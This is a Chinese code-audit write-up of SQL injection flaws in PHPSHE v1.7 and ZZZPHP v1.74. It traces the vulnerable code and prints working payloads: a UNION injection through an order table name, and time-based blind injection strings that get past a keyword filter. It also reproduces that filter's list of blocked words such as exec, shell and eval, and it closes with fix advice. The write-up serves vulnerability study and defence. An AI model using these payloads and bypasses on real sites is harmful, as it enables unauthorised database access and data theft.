代码审计之phpshev1.7前台注入和zzzphpv1.74后台sql注入
字数 1754 2025-08-15 21:32:31

PHPSHE v1.7前台SQL注入与ZZZPHP v1.74后台SQL注入代码审计分析

第一部分:PHPSHE v1.7前台SQL注入漏洞分析

1. 漏洞环境准备

  • 环境配置:phpstudy2016 (Nginx+MySQL+PHP5.6.27)
  • 审计工具:phpstorm + Seay源代码审计系统
  • 目标版本:phpshe v1.7

2. 漏洞定位与分析

2.1 注入点定位

漏洞存在于/include/class/db.class.php文件第214行的pe_select函数:

public function pe_select($table, $where = '', $field = '*') {
    //处理条件语句
    $sqlwhere = $this->_dowhere($where);
    return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
}

该函数直接拼接$table参数到SQL语句中,存在SQL注入风险。

2.2 参数传递流程

  1. 入口文件common.php会对GET/POST参数加上_g_p前缀
  2. 使用pe_stripslashes函数去除参数中的反斜杠(位于/include/function/global.func.php第455行)

2.3 关键过滤函数分析

global.func.php中查找SQL过滤函数:

  • pe_dbhold()函数用于参数过滤
  • order_table()函数用于获取订单对应表名

2.4 漏洞触发路径

  1. 文件路径:/include/plugin/payment/alipay/pay.php
  2. 关键代码:
$order_id = pe_dbhold($_g_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));
  1. order_table函数逻辑:
function order_table($id) {
    if (stripos($id, '_') !== false) {
        $id_arr = explode('_', $id);
        return "order_{$id_arr[0]}";
    } else {
        return "order";	
    }
}

3. 漏洞利用与Payload构造

最终执行的SQL语句格式:

select * from `pe_order_[可控部分]` where `order_id` = '[可控部分]' limit 1

构造Payload:

pay` where 1=1 union select 404404,2,3,4,5,6,7,8,9,10,11,12--+_#

说明:

  • pe_order_pay表有12个字段
  • 使用--+注释掉后续语句
  • #确保语法正确

第二部分:ZZZPHP v1.74后台SQL注入漏洞分析

1. 环境准备

  • 环境配置:phpstudy2016 (Nginx+MySQL+PHP5.6.27)
  • 目标版本:zzzphp v1.7.4
  • 操作系统:Windows 7

2. 漏洞定位与分析

2.1 注入点定位

漏洞位于/admin/index.php第9行:

switch ($module) {	
    case 'aboutlist':		
        break;    
    case 'content':
        $sid=geturl('sid');
        $cid=geturl('cid');
        $stype=geturl('stype');  
        if($cid){
            $data=db_load_sql_one('select *,b.sid,b.s_type from [dbpre]content a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);
            $GLOBALS['stype']=$data['s_type'];
            $GLOBALS['sid']=$data['sid'];

2.2 关键函数分析

  1. geturl()函数分析:
function geturl($name='') {
    $s = $_SERVER['REQUEST_URI'];  //获取URL
    $s = danger_key($s);  //过滤危险字符
    $s = cright($s, 1) == '/' ? rtrim($s, '/') : $s;    
    $get = array();
    $s = parse_url($s);  //解析URL
    $s = isset($s['query']) ? $s['query'] : '';
    $arr = explode('/', $s);  //使用/分割,说明不能使用/
    $arr2 = array();
    $i = 0;
    $last = str_replace('&', '=', array_pop($arr));  //&符会被替换成=,不能使用&
    if (strpos($last, '=') !== FALSE) {                          
        $arr1 = explode('=', $last);  //=不能使用
        foreach ($arr1 as $key => $value) {            
            if ($key < count($arr1) - 1) $arr2[$value] = $arr1[$key + 1];
        }          
        if($name!=''){              
            if(isset($arr2[$name])) return $arr2[$name];            
        }else{
            return $arr2;
        }
    }else{
        return '';
    }
}
  1. danger_key()过滤函数:
function danger_key($s) {
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','_');
    $s = str_ireplace($danger,"*",$s);
    $key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
    foreach ($key as $val){
        if(strpos($s,$val) !==false){
            error('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
    return $s;
}

2.3 SQL查询流程

  1. /admin/index.php调用db_load_sql_one()
  2. /inc/zzz_db.php处理SQL语句
  3. /inc/zzz_db_mysql.php执行SQL查询

3. 漏洞利用与Payload构造

3.1 绕过限制技巧

  • ascii → 使用ord代替
  • = → 使用<>>,<
  • 空格 → 使用括号()或注释/**/

3.2 时间盲注Payload

由于没有回显,使用时间盲注:

sleep(0.1*(ord(substr(user(),1,1))>65))

解释:

  1. substr(user(),1,1)截取用户名第一个字符
  2. ord()获取字符的ASCII码
  3. 如果ASCII码>65,sleep(0.1秒),否则不延迟

3.3 实际测试示例

  1. 测试Payload1:
sleep(0.1*(ord(substr(user(),1,1))>100))
  1. 测试Payload2:
sleep(0.1*(ord(substr(user(),1,1))<100))

3.4 自动化测试技巧

使用二分法逐步缩小ASCII码范围:

  • 大于113有延迟,大于114无延迟 → ASCII码为114
  • 最终确定用户名为"root"

第三部分:总结与防御建议

1. 漏洞总结

  1. PHPSHE v1.7漏洞:
  • 前台SQL注入
  • 根源:未过滤的$table参数直接拼接
  • 影响:可获取数据库敏感信息
  1. ZZZPHP v1.74漏洞:
  • 后台SQL注入
  • 根源:cid参数未充分过滤
  • 影响:管理员权限下的数据泄露

2. 防御建议

  1. 通用防御措施:
  • 使用预处理语句(PDO/prepared statements)
  • 严格过滤所有用户输入
  • 最小权限原则配置数据库账户
  1. PHPSHE特定修复:
  • pe_select$table参数进行白名单验证
  • 使用参数化查询替代字符串拼接
  1. ZZZPHP特定修复:
  • 加强danger_key过滤函数
  • 对数字型参数强制类型转换
  • 使用框架提供的安全查询方法

3. 代码审计技巧

  1. 关键函数追踪:
  • 查找SQL执行函数(如queryselect等)
  • 跟踪用户输入传递路径
  1. 过滤机制分析:
  • 识别所有过滤函数
  • 测试过滤规则的完整性
  1. 注入测试方法:
  • 使用不同注入技术(联合查询、布尔盲注、时间盲注等)
  • 逐步绕过过滤机制
PHPSHE v1.7前台SQL注入与ZZZPHP v1.74后台SQL注入代码审计分析 第一部分:PHPSHE v1.7前台SQL注入漏洞分析 1. 漏洞环境准备 环境配置:phpstudy2016 (Nginx+MySQL+PHP5.6.27) 审计工具:phpstorm + Seay源代码审计系统 目标版本:phpshe v1.7 2. 漏洞定位与分析 2.1 注入点定位 漏洞存在于 /include/class/db.class.php 文件第214行的 pe_select 函数: 该函数直接拼接 $table 参数到SQL语句中,存在SQL注入风险。 2.2 参数传递流程 入口文件 common.php 会对GET/POST参数加上 _g 或 _p 前缀 使用 pe_stripslashes 函数去除参数中的反斜杠(位于 /include/function/global.func.php 第455行) 2.3 关键过滤函数分析 在 global.func.php 中查找SQL过滤函数: pe_dbhold() 函数用于参数过滤 order_table() 函数用于获取订单对应表名 2.4 漏洞触发路径 文件路径: /include/plugin/payment/alipay/pay.php 关键代码: order_table 函数逻辑: 3. 漏洞利用与Payload构造 最终执行的SQL语句格式: 构造Payload: 说明: pe_order_pay 表有12个字段 使用 --+ 注释掉后续语句 # 确保语法正确 第二部分:ZZZPHP v1.74后台SQL注入漏洞分析 1. 环境准备 环境配置:phpstudy2016 (Nginx+MySQL+PHP5.6.27) 目标版本:zzzphp v1.7.4 操作系统:Windows 7 2. 漏洞定位与分析 2.1 注入点定位 漏洞位于 /admin/index.php 第9行: 2.2 关键函数分析 geturl() 函数分析: danger_key() 过滤函数: 2.3 SQL查询流程 /admin/index.php 调用 db_load_sql_one() /inc/zzz_db.php 处理SQL语句 /inc/zzz_db_mysql.php 执行SQL查询 3. 漏洞利用与Payload构造 3.1 绕过限制技巧 ascii → 使用 ord 代替 = → 使用 <> 或 > , < 空格 → 使用括号 () 或注释 /**/ 3.2 时间盲注Payload 由于没有回显,使用时间盲注: 解释: substr(user(),1,1) 截取用户名第一个字符 ord() 获取字符的ASCII码 如果ASCII码>65,sleep(0.1秒),否则不延迟 3.3 实际测试示例 测试Payload1: 测试Payload2: 3.4 自动化测试技巧 使用二分法逐步缩小ASCII码范围: 大于113有延迟,大于114无延迟 → ASCII码为114 最终确定用户名为"root" 第三部分:总结与防御建议 1. 漏洞总结 PHPSHE v1.7漏洞: 前台SQL注入 根源:未过滤的 $table 参数直接拼接 影响:可获取数据库敏感信息 ZZZPHP v1.74漏洞: 后台SQL注入 根源: cid 参数未充分过滤 影响:管理员权限下的数据泄露 2. 防御建议 通用防御措施: 使用预处理语句(PDO/prepared statements) 严格过滤所有用户输入 最小权限原则配置数据库账户 PHPSHE特定修复: 对 pe_select 的 $table 参数进行白名单验证 使用参数化查询替代字符串拼接 ZZZPHP特定修复: 加强 danger_key 过滤函数 对数字型参数强制类型转换 使用框架提供的安全查询方法 3. 代码审计技巧 关键函数追踪: 查找SQL执行函数(如 query 、 select 等) 跟踪用户输入传递路径 过滤机制分析: 识别所有过滤函数 测试过滤规则的完整性 注入测试方法: 使用不同注入技术(联合查询、布尔盲注、时间盲注等) 逐步绕过过滤机制